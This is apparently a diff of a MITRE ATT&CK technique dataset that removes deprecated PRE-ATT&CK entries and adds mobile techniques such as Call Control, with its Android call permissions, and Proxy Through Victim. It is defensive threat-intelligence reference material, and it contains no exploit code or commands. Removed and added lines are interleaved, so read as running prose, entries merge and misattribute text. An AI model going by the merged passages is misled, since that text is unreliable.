{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1616', 'external_id': 'T1616'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-41.html', 'external_id': 'APP-41'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-42.html', 'external_id': 'CEL-42'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-36.html', 'external_id': 'CEL-36'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-18.html', 'external_id': 'CEL-18'}, {'source_name': 'Android Permissions', 'description': 'Google. (2021, August 11). Manifest.permission. Retrieved September 22, 2021.', 'url': 'https://developer.android.com/reference/android/Manifest.permission'}]",1.0,attack-pattern,attack-pattern--351ddf79-2d3a-41b4-9bef-82ea5d3ccd69,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-09-20T13:42:20.824Z,2021-09-27T18:05:42.788Z,Call Control,"Adversaries may make, forward, or block phone calls without user authorization. This could be used for adversary goals such as audio surveillance, blocking or forwarding calls from the device owner, or C2 communication. -Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)",attack-pattern--e754fa49-2db1-416b-92db-7f886decd099,attack-pattern,['priority-definition-planning'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1011,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,Yes,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1280', 'external_id': 'T1280'}, {'source_name': 'Scasny2015', 'description': 'Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.'}, {'source_name': 'Infosec-osint', 'description': 'InfoSec Institute. (2013, September 11). OSINT (Open-Source Intelligence). Retrieved May 9, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'organizational-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1280,mitre-pre-attack,T1280,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify business processes/tempo,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1280). +Several permissions may be used to programmatically control phone calls, including: -Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)",attack-pattern--1f82ef59-b7da-4cd3-a41c-2e80f80f084f,attack-pattern,['organizational-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1057,"In some cases, this requires some insider knowledge or specialized access to learn when critical operations occur in a corporation. For publicly traded US corporations, there is a lot of open source information about their financial reporting obligations (per SEC). Companies announce their annual shareholder meeting and their quarter phone calls with investors. Information such as this can help the adversary to glean certain aspects of the business processes and/or rhythm.",No,"Current or previous employees may divulge information on the Internet. If insiders are used, the defender may have policies or tools in place to detect loss of this data or knowledge.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1248', 'external_id': 'T1248'}, {'source_name': 'JobPostingThreat', 'description': 'Jay D. Krasnow. (2000, October). The Competitive Intelligence and National Security Threat from Website Job Listings. Retrieved March 16, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1248,mitre-pre-attack,T1248,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify job postings and needs/gaps,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1248). +* `ANSWER_PHONE_CALLS` - Allows the application to answer incoming phone calls(Citation: Android Permissions) +* `CALL_PHONE` - Allows the application to initiate a phone call without going through the Dialer interface(Citation: Android Permissions) +* `PROCESS_OUTGOING_CALLS` - Allows the application to see the number being dialed during an outgoing call with the option to redirect the call to a different number or abort the call altogether(Citation: Android Permissions) +* `MANAGE_OWN_CALLS` - Allows a calling application which manages its own calls through the self-managed `ConnectionService` APIs(Citation: Android Permissions) +* `BIND_TELECOM_CONNECTION_SERVICE` - Required permission when using a `ConnectionService`(Citation: Android Permissions) +* `WRITE_CALL_LOG` - Allows an application to write to the device call log, potentially to hide malicious phone calls(Citation: Android Permissions) -Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)",attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1025,Publicly posted information by design. Providing too much detail in the job posting could aid the adversary in learning more about the target's environment and possible technical weaknesses/deficiencies.,Yes,Impossible to differentiate between an adversary and a normal user when accessing open/public information.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1348', 'external_id': 'T1348'}, {'source_name': 'APT1', 'description': 'Mandiant. (n.d.). APT1: Exposing One of China’s Cyber Espionage Units. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'build-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1348,mitre-pre-attack,T1348,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify resources required to build capabilities,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1348). +When granted some of these permissions, an application can make a phone call without opening the dialer first. However, if an application desires to simply redirect the user to the dialer with a phone number filled in, it can launch an Intent using `Intent.ACTION_DIAL`, which requires no specific permissions. This then requires the user to explicitly initiate the call or use some form of [Input Injection](https://attack.mitre.org/techniques/T1516) to programmatically initiate it.","['collection', 'impact', 'command-and-control']",https://attack.mitre.org/techniques/T1616,mitre-mobile-attack,T1616,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Gaetan van Diemen, ThreatFabric']",,,"Users can view their default phone app in device settings. Users can review available call logs for irregularities, such as missing or unrecognized calls.",False,,['Android'],,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1605', 'external_id': 'T1605'}]",1.0,attack-pattern,attack-pattern--e083305c-49e7-4c87-aae8-9689213bffbe,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-12-16T20:16:07.673Z,2020-12-17T17:31:52.802Z,Command-Line Interface,"Adversaries may use built-in command-line interfaces to interact with the device and execute commands. Android provides a bash shell that can be interacted with over the Android Debug Bridge (ADB) or programmatically using Java’s `Runtime` package. On iOS, adversaries can interact with the underlying runtime shell if the device has been jailbroken. -As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)",attack-pattern--c9fb4451-729d-4771-b205-52c1829f949c,attack-pattern,['build-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1125,"Like target organizations, adversary organizations are competing to identify and hire top technical talent. Training less technical staff is also a viable option.",Yes,"Recruitment is, by its nature, either clandestine or off the record.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1265', 'external_id': 'T1265'}, {'source_name': 'SmithSupplyChain', 'description': 'Drew Smith. (2015). Is your supply chain safe from cyberattacks?. Retrieved March 5, 2017.'}, {'source_name': 'CERT-UKSupplyChain', 'description': 'CERT-UK. (2016, October 01). Cyber-security risks in the supply chain. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'people-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1265,mitre-pre-attack,T1265,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify supply chains,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1265). +If the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files.",['execution'],https://attack.mitre.org/techniques/T1605,mitre-mobile-attack,T1605,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Command-Line Interface execution can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",False,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1604', 'external_id': 'T1604'}, {'source_name': 'Threat Fabric Exobot', 'description': 'Threat Fabric. (2017, February). Exobot - Android banking Trojan on the rise. Retrieved October 29, 2020.', 'url': 'https://www.threatfabric.com/blogs/exobot_android_banking_trojan_on_the_rise.html'}]",1.0,attack-pattern,attack-pattern--5ca3c7ec-55b2-4587-9376-cf6c96f8047a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-11-30T14:26:07.728Z,2020-12-04T20:30:31.513Z,Proxy Through Victim,"Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary’s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.(Citation: Threat Fabric Exobot) -Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)",attack-pattern--59369f72-3005-4e54-9095-3d00efcece73,attack-pattern,['people-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1042,"Requires an intensive process to obtain the full picture. It is possible to obtain basic information/some aspects via OSINT. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).",No,Searching publicly available sources that cannot be monitored by a defender.,No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1375', 'url': 'https://attack.mitre.org/techniques/T1375'}, {'description': 'Bill Marczak, Jakub Dalek, John Scott-Railton, Ron Deibert, Sarah McKune. (2015, April 10). China’s Great Cannon. Retrieved March 9, 2017.', 'source_name': 'CitizenLabGreatCannon'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'launch'}]",1.0,False,https://attack.mitre.org/techniques/T1375,mitre-pre-attack,T1375,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Leverage compromised 3rd party resources,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -The utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)",attack-pattern--2c8a9df4-52a9-4770-94b3-5e95ab7d59f9,attack-pattern,['launch'],2020-03-30T14:21:59.520Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1152,Conducting technique requires either nation-state level capabilities or large amounts of financing to coordinate multiple 3rd party resources to gain desired insight.,No,"While possible to detect, it requires a broader vantage point than is typical that provides increased insight and conducts extensive data analysis and correlation between events.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1315', 'external_id': 'T1315'}, {'source_name': 'HAMMERTOSS2015', 'description': 'FireEye. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1315,mitre-pre-attack,T1315,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network-based hiding techniques,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1315). - -Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)",attack-pattern--90884cdb-31dd-431c-87db-9cc7e03191e5,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1092,"Some of the hiding techniques require special accesses (network, proximity, physical, etc.) and/or may rely on knowledge of how the defender operates and/or awareness on what visibility the defender has and how it is obtained",No,"Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.",Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1318', 'external_id': 'T1318'}, {'source_name': 'DellComfooMasters', 'description': 'Joe Stewart and Don Jackson, Dell SecureWorks Counter Threat Unit(TM) Threat Intelligence. (2013, July 31). Secrets of the Comfoo Masters. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1318,mitre-pre-attack,T1318,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Obfuscate operational infrastructure,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1318). - -Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)",attack-pattern--9d234df0-2344-4db4-bc0f-8de9c6c071a7,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1095,"An adversary can easily generate pseudo-random identifiers to associate with a specific target, include the indicator as part of a URL and then identify which target was successful.",Yes,"While possible to detect given a significant sample size, depending on how the unique identifier is used detection may be difficult as similar patterns may be employed elsewhere (e.g., content hosting providers, account reset URLs).",Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1251', 'external_id': 'T1251'}, {'source_name': 'Google Domains WHOIS', 'description': 'Google Domains. (n.d.). About WHOIS. Retrieved April 2, 2017.'}, {'source_name': 'FunAndSun2012', 'description': 'Jeff Bardin. (2012, October 10). OSINT and Cyber Intelligence - Fun and Sun in Miami. Retrieved March 1, 2017.'}, {'source_name': 'Scasny2015', 'description': 'Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1251,mitre-pre-attack,T1251,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Obtain domain/IP registration information,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1251). - -For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)",attack-pattern--46017368-6e09-412b-a29c-385be201cc03,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1028,Proliferation of DNS information makes registration information functionally freely available.,Yes,Open access to DNS registration/routing information is inherent in Internet architecture.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1305', 'external_id': 'T1305'}, {'source_name': 'APT1', 'description': 'Mandiant. (n.d.). APT1: Exposing One of China’s Cyber Espionage Units. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1305,mitre-pre-attack,T1305,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Private whois services,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1305). - -Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)",attack-pattern--3160347f-11ac-44a3-9640-a648b3c17a8f,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1082,Commercially available or easy to set up and/or register using a disposable email account.,Yes,"Algorithmically possible to detect COTS service usage or use of non-specific mailing addresses (PO Boxes, drop sites, etc.)",Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1235', 'external_id': 'T1235'}, {'source_name': 'FBIIntelligencePrimer', 'description': 'FBI. (n.d.). Intelligence Branch: Intelligence Primer. Retrieved March 2, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'priority-definition-planning'}]",1.0,,https://attack.mitre.org/techniques/T1235,mitre-pre-attack,T1235,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Receive operator KITs/KIQs tasking,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1235). - -Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)",attack-pattern--7863b7f1-c18a-4aad-a6cf-4aa6d8797531,attack-pattern,['priority-definition-planning'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1012,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,Yes,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1358', 'external_id': 'T1358'}, {'source_name': 'EDB-39007', 'description': 'Tavis Ormandy and Natalie Silvanovich. (2015, December 16). FireEye - Wormable Remote Code Execution in MIP JAR Analysis. Retrieved March 9, 2017.'}, {'source_name': 'infosec-covering-tracks', 'description': 'Infosec Institute. (2015, September 9). Covering Tracks of Attacks. Retrieved May 9, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'test-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1358,mitre-pre-attack,T1358,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Review logs and residual traces,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1358). - -Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)",attack-pattern--a16e4004-caac-4a0b-acd5-486f8fda1665,attack-pattern,['test-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1135,Adversary has full control of environment to determine what level of auditing and traces exist on a system after execution.,Yes,Adversary controls the test and defender likely has no visibility.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1340', 'external_id': 'T1340'}, {'source_name': 'CiscoAngler', 'description': 'Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017.', 'url': 'https://blogs.cisco.com/security/talos/angler-domain-shadowing'}, {'source_name': 'ProofpointDomainShadowing', 'description': 'Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'establish-&-maintain-infrastructure'}]",1.0,,https://attack.mitre.org/techniques/T1340,mitre-pre-attack,T1340,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Shadow DNS,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1340). - -The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)",attack-pattern--3f157dee-74f0-41fc-801e-f837b8985b0a,attack-pattern,['establish-&-maintain-infrastructure'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1117,"To successfully conduct this attack, an adversary usually phishes the individual behind the domain registrant account, logs in with credentials, and creates a large amount of subdomains.",Yes,"Detection of this technique requires individuals to monitor their domain registrant accounts routinely. In addition, defenders have had success with blacklisting sites or IP addresses, but an adversary can defeat this by rotating either the subdomains or the IP addresses associated with the campaign.",Partial, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1237', 'external_id': 'T1237'}, {'source_name': 'ICD204', 'description': 'Office of the Director of National Intelligence. (2015, January 02). Retrieved March 5, 2017.'}, {'source_name': 'KIT-Herring', 'description': 'Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved May 19, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'priority-definition-direction'}]",1.0,,https://attack.mitre.org/techniques/T1237,mitre-pre-attack,T1237,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Submit KITs, KIQs, and intelligence requirements","This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1237). - -Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)",attack-pattern--03da0598-ed46-4a73-bf43-0313b3522400,attack-pattern,['priority-definition-direction'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1014,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,Yes,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1356', 'external_id': 'T1356'}, {'source_name': 'LeeBeaconing', 'description': 'Tony Lee. (2012, December 11). Testing Your Defenses - Beaconing. Retrieved March 9, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'test-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1356,mitre-pre-attack,T1356,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Test callback functionality,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1356). - -Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)",attack-pattern--0649fc36-72a0-40a0-a2f9-3fc7e3231ad6,attack-pattern,['test-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1133,Adversary controls or acquires all pieces of infrastructure and can test outside of defender's visibility.,Yes,Adversary controls the test and defender likely has no visibility.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1361', 'external_id': 'T1361'}, {'source_name': 'WiredVirusTotal', 'description': 'Kim Zetter. (14, September 2). A Google Site Meant to Protect You Is Helping Hackers Attack You. Retrieved March 9, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'test-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1361,mitre-pre-attack,T1361,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Test signature detection for file upload/email filters,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1361). - -An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)",attack-pattern--c9ac5715-ee5c-4380-baf4-6f12e304ca93,attack-pattern,['test-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1138,Current open source technologies and websites exist to facilitate adversary testing of malware against signatures.,Yes,Use of sites like [https://www.virustotal.com VirusTotal] to test signature detection often occurs to test detection. Defender can also look for newly added uploads as a precursor to an adversary's launch of an attack.,Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1327', 'external_id': 'T1327'}, {'source_name': 'KrebsStLouisFed', 'description': 'Brian Krebs. (2015, May 18). St. Louis Federal Reserve Suffers DNS Breach. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'establish-&-maintain-infrastructure'}]",1.0,,https://attack.mitre.org/techniques/T1327,mitre-pre-attack,T1327,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Use multiple DNS infrastructures,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1327). - -A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)",attack-pattern--616238cb-990b-4c71-8f50-d8b10ed8ce6b,attack-pattern,['establish-&-maintain-infrastructure'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1104,"Requires more planning, but feasible.",Yes,"This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information. However, tracking multiple DNS infrastructures will likely require multiple tools/services or more advanced analytics.",Partial, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1307', 'external_id': 'T1307'}, {'source_name': 'LUCKYCAT2012', 'description': 'Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1307,mitre-pre-attack,T1307,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Acquire and/or use 3rd party infrastructure services,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1307). - -A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut 